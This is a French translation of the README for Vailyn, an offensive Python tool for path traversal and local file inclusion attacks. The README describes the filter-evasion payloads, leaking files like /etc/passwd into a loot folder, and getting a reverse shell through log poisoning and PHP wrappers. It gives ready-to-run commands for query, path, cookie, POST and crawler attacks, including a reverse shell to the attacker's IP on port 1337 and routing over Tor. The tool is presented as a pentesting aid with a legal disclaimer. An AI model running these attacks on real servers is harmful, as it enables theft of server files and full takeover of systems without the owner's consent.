
Un outil de scan et d'exploitation de Path Traversal et LFI, phasé et évasif, en Python.

Attaques par parcours de chemin et LFI phasées
Vailyn 3.0
Depuis la v3.0, Vailyn prend en charge les wrappers PHP LFI en Phase 1. Utilisez
--lfipour les inclure dans l'analyse.
Vailyn est un outil d'analyse et d'exploitation de vulnérabilités multi-phasé pour les vulnérabilités de type chemin d'accès et d'inclusion de fichier. Il est conçu pour être le plus performant possible et offrir un large arsenal de techniques d'évasion de filtres.
Vailyn fonctionne en 2 phases. D'abord, il vérifie si la vulnérabilité est présente. Pour ce faire, il tente d'accéder à /etc/passwd (ou à un fichier spécifié par l'utilisateur), avec toutes ses charges utiles d'évasion. En analysant la réponse, les charges utiles qui ont fonctionné sont séparées des autres.
Maintenant, l'utilisateur peut choisir librement quelles charges utiles utiliser. Seules ces charges utiles seront utilisées dans la deuxième phase.
La deuxième phase est la phase d'exploitation. Elle tente alors de divulguer tous les fichiers possibles du serveur à l'aide d'un dictionnaire de fichiers et d'un dictionnaire de répertoires. La profondeur de recherche et le niveau de permutation des répertoires peuvent être adaptés via des arguments. En option, elle peut télécharger les fichiers trouvés et les enregistrer dans son dossier de butin. Sinon, elle essaiera d'obtenir un reverse shell sur le système, permettant à l'attaquant de prendre le contrôle total du serveur.
Actuellement, elle prend en charge plusieurs vecteurs d'attaque : injection via requête, chemin, cookie et données POST.
La séparation en plusieurs phases est effectuée pour améliorer considérablement les performances de l'outil. Dans les versions précédentes, chaque combinaison fichier-répertoire était vérifiée avec chaque charge utile. Cela entraînait une surcharge importante car les charges utiles étaient toujours réutilisées, même si elles ne fonctionnaient pas pour la page courante.
Les versions Python recommandées et testées sont 3.7+, mais cela devrait également fonctionner avec Python 3.5 et Python 3.6. Pour installer Vailyn, téléchargez l'archive depuis l'onglet des versions, ou exécutez
$ git clone https://github.com/VainlyStrain/Vailyn
Une fois sur votre système, vous devrez installer les dépendances Python.
Sur les systèmes Unix, il suffit d'exécuter
$ pip install -r requirements.txt # --user
Certaines bibliothèques utilisées par Vailyn ne fonctionnent pas bien avec Windows, ou ne s'installeront pas.
Si vous utilisez Windows, utilisez pip pour installer les exigences listées dans Vailyn\·›\requirements-windows.txt.
Si twisted ne parvient pas à s'installer, il existe une version non officielle disponible ici, qui devrait se construire sous Windows. Gardez simplement à l'esprit qu'il s'agit d'un téléchargement tiers et que l'intégrité n'est pas nécessairement garantie. Après que cela a été installé avec succès, exécuter à nouveau pip sur requirements-windows.txt devrait fonctionner.
Si vous souhaitez utiliser pleinement le module de reverse shell, vous devrez avoir sshpass, ncat et konsole installés. Les noms des paquets varient selon la distribution Linux. Sous Windows, vous devrez démarrer l'écouteur manuellement au préalable. Si vous n'aimez pas konsole, vous pouvez spécifier un autre émulateur de terminal dans core/config.py.
C'est tout ! Lancez Vailyn en vous rendant dans son répertoire d'installation et en exécutant
$ python Vailyn -h
Vailyn a 3 arguments obligatoires : -v VIC, -a INT et -p2 TP P1 P2. Cependant, selon -a, d'autres arguments peuvent être nécessaires.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
obligatoire:
-v VIC, --victim VIC Cible à attaquer, partie 1 [pré-charge utile]
-a INT, --attack INT Type d'attaque (int, 1-5, ou A)
A| Spider (tout) 2| Chemin 5| Données POST, json
P| Spider (partiel) 3| Cookie
1| Paramètre de requête 4| Données POST, plain
-p2 TP P1 P2, --phase2 TP P1 P2
Attaque en Phase 2, et paramètres nécessaires
┌[ Valeurs ]─────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ Dico Fichier│ Dico Répertoire │
│ inject | Adresse IP │ Port d'écoute │
│ implant │ Fichier src │ Destination serveur│
└─────────┴─────────────┴────────────────────┘
supplémentaire:
-p PAM, --param PAM paramètre de requête ou données POST pour --attack 1, 4, 5
-i F, --check F Fichier à vérifier en Phase 1 (par défaut: etc/passwd)
-Pi VIC2, --vic2 VIC2 Cible d'attaque, partie 2 [post-charge utile]
-c C, --cookie C Cookie à ajouter (au format en-tête)
-l, --loot Télécharger les fichiers trouvés dans le dossier loot
-d I J K, --depths I J K
profondeurs (I: phase 1, J: phase 2, K: niveau de permutation)
-h, --help afficher ce menu d'aide et quitter
-s T, --timeout T Délai d'attente de requête ; commutateur stable pour Arjun
-t, --tor Acheminer les attaques via le réseau d'anonymat Tor
-L, --lfi Utiliser également les wrappers PHP pour divulguer des fichiers
-n, --nosploit Ignorer la Phase 2 (ne nécessite pas -p2 TP P1 P2)
-P, --precise Utiliser la profondeur exacte en Phase 1 (pas une plage)
-A, --app Démarrer l'interface Qt5 de Vailyn
develop:
--debug Afficher chaque chemin essayé, même les 404.
--version Afficher la version du programme et quitter.
--notmain Éviter le plantage de notify2 dans un appel de sous-processus.
Info:
pour divulguer des fichiers en utilisant des chemins absolus : -d 0 0 0
pour obtenir un shell en utilisant des chemins absolus : -d 0 X 0
Vailyn prend actuellement en charge 5 vecteurs d'attaque et fournit un robot d'exploration pour les automatiser tous. L'attaque effectuée est identifiée par l'argument -a INT.
INT attaque
---- -------
1 attaque basée sur la requête (https://site.com?file=../../../)
2 attaque basée sur le chemin (https://site.com/../../../)
3 attaque basée sur le cookie (récupèrera les cookies pour vous)
4 données POST simples (ELEM1=VAL1&ELEM2=../../../)
5 données POST json ({"file": "../../../"})
A spider récupérer + analyser toutes les URL du site en utilisant tous les vecteurs
P spider partiel récupérer + analyser toutes les URL du site en utilisant uniquement les vecteurs sélectionnés
Vous devez également spécifier une cible à attaquer. Cela se fait via -v VIC et -Pi VIC2, où -v est la partie avant le point d'injection, et -Pi le reste.
Exemple : si l'URL finale devrait ressembler à : https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue, vous pouvez spécifier -v https://site.com/download.php et -Pi ¶m2=necessaryvalue (et -p file, car il s'agit d'une attaque par requête).
Si vous souhaitez inclure des wrappers PHP dans l'analyse (comme php://filter), utilisez l'argument --lfi. À la fin de la Phase 1, un menu de sélection supplémentaire vous sera présenté contenant les wrappers qui ont fonctionné (le cas échéant).
Si le site attaqué se trouve derrière une page de connexion, vous pouvez fournir un cookie d'authentification via -c COOKIE. Si vous souhaitez attaquer via Tor, utilisez --tor.
C'est la phase d'analyse, où les charges utiles fonctionnelles sont séparées des autres.
Par défaut, /etc/passwd est recherché. Si le serveur n'exécute pas Linux, vous pouvez spécifier un fichier personnalisé avec -i FILENAME. Notez que vous devez inclure les sous-répertoires dans FILENAME.
Vous pouvez modifier la profondeur de recherche avec la première valeur de -d (par défaut=8).
Si vous souhaitez utiliser des chemins absolus, définissez la première profondeur sur 0.
C'est la phase d'exploitation, où Vailyn essaiera de divulguer autant de fichiers que possible, ou d'obtenir un reverse shell en utilisant diverses techniques.
La profondeur de recherche en phase 2 (le nombre maximal de couches parcourues en arrière) est spécifiée par la deuxième valeur de l'argument -d. Le niveau de permutation des sous-répertoires est défini par la troisième valeur de -d.
Si vous attaquez avec des chemins absolus et effectuez l'attaque de divulgation, définissez toutes les profondeurs sur 0. Si vous souhaitez obtenir un reverse shell, assurez-vous que la deuxième profondeur est supérieure à 0.
En spécifiant -l, Vailyn non seulement affichera les fichiers sur le terminal, mais les téléchargera et les enregistrera dans le dossier loot.
Si vous souhaitez une sortie verbeuse (afficher chaque sortie, pas seulement les fichiers trouvés), vous pouvez utiliser --debug. Notez que la sortie devient vraiment désordonnée, c'est essentiellement une aide de débogage.
Pour effectuer l'attaque par force brute, vous devez spécifier -p2 leak FIL PATH, où
Pour obtenir un reverse shell par injection de code, vous pouvez utiliser -p2 inject IP PORT, où
ATTENTION
Vailyn utilise des techniques d'empoisonnement des journaux. Par conséquent, votre IP SPÉCIFIÉE SERA VISIBLE DANS LES JOURNAUX DU SERVEUR.
Les techniques (ne fonctionnent que pour les inclusions LFI) :
/proc/self/environ ne fonctionne que sur les serveurs obsolètesexpect://data:// (plain & b64)php://inputPour distinguer les résultats réels des faux positifs, Vailyn effectue les vérifications suivantes :
-a 2, effectuer une vérification supplémentaire si le contenu de la réponse correspond au contenu de l'URL racine du serveur/etc/passwd si ce fichier est utilisé comme fichier de rechercheAttaque simple par requête, divulgation de fichiers en Phase 2 :
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
Attaque par requête, mais je sais qu'un fichier file.php existe exactement 2 niveaux au-dessus du point d'inclusion :
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
Cela réduira considérablement la durée de la Phase 1, car c'est une attaque ciblée.
Attaque simple par chemin :
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
Attaque par chemin, mais j'ai besoin de paramètres de requête et d'une balise :
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
Attaque simple par cookie :
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
Récupérera les cookies et vous pourrez sélectionner le cookie que vous souhaitez empoisonner
Robot d'exploration de Vailyn analysant une application web damn vulnerable. Les wrappers LFI ne sont pas activés.
Démonstration de l'interface graphique (v2.2.1-5)
Vous avez trouvé des faux positifs/négatifs (ou souhaitez signaler d'autres bugs/améliorations) : veuillez laisser un problème !
Vailyn est fourni en tant qu'outil d'audit d'applications web offensif. Il dispose de fonctionnalités intégrées qui peuvent révéler des vulnérabilités potentielles dans les applications web, qui pourraient être exploitées de manière malveillante.
PAR CONSÉQUENT, NI L'AUTEUR NI LES CONTRIBUTEURS NE SONT RESPONSABLES DE TOUTE UTILISATION ABUSIVE OU DE DOMMAGES DUS À CET OUTIL.
En utilisant ce logiciel, l'utilisateur s'engage à respecter les lois locales, à ne pas attaquer le système d'autrui sans autorisation explicite du propriétaire, ou avec une intention malveillante.
En cas d'infraction, seul l'utilisateur final qui l'a commise est responsable de ses actes.
Vailyn : Copyright © VainlyStrain
Arjun : Copyright © s0md3v
Arjun n'est plus distribué avec Vailyn. Installez sa dernière version via pip.
Attaque POST simple :
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
infectera DATA2 avec la charge utile
Attaque POST JSON :
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
Attaque, mais la cible est derrière un écran de connexion :
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
Attaque, mais je veux un reverse shell sur le port 1337 :
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # une profondeur de Phase 2 élevée est nécessaire pour l'injection de journal
(démarrera un écouteur ncat pour vous si vous êtes sur Unix)
Automatisation complète en mode robot d'exploration :
$ Vailyn -v "http://root-url.site" -a A vous pouvez également spécifier d'autres arguments, comme cookie, profondeurs, lfi et fichier de recherche ici
Automatisation complète, mais Arjun nécessite --stable :
$ Vailyn -v "http://root-url.site" -a A -s ANY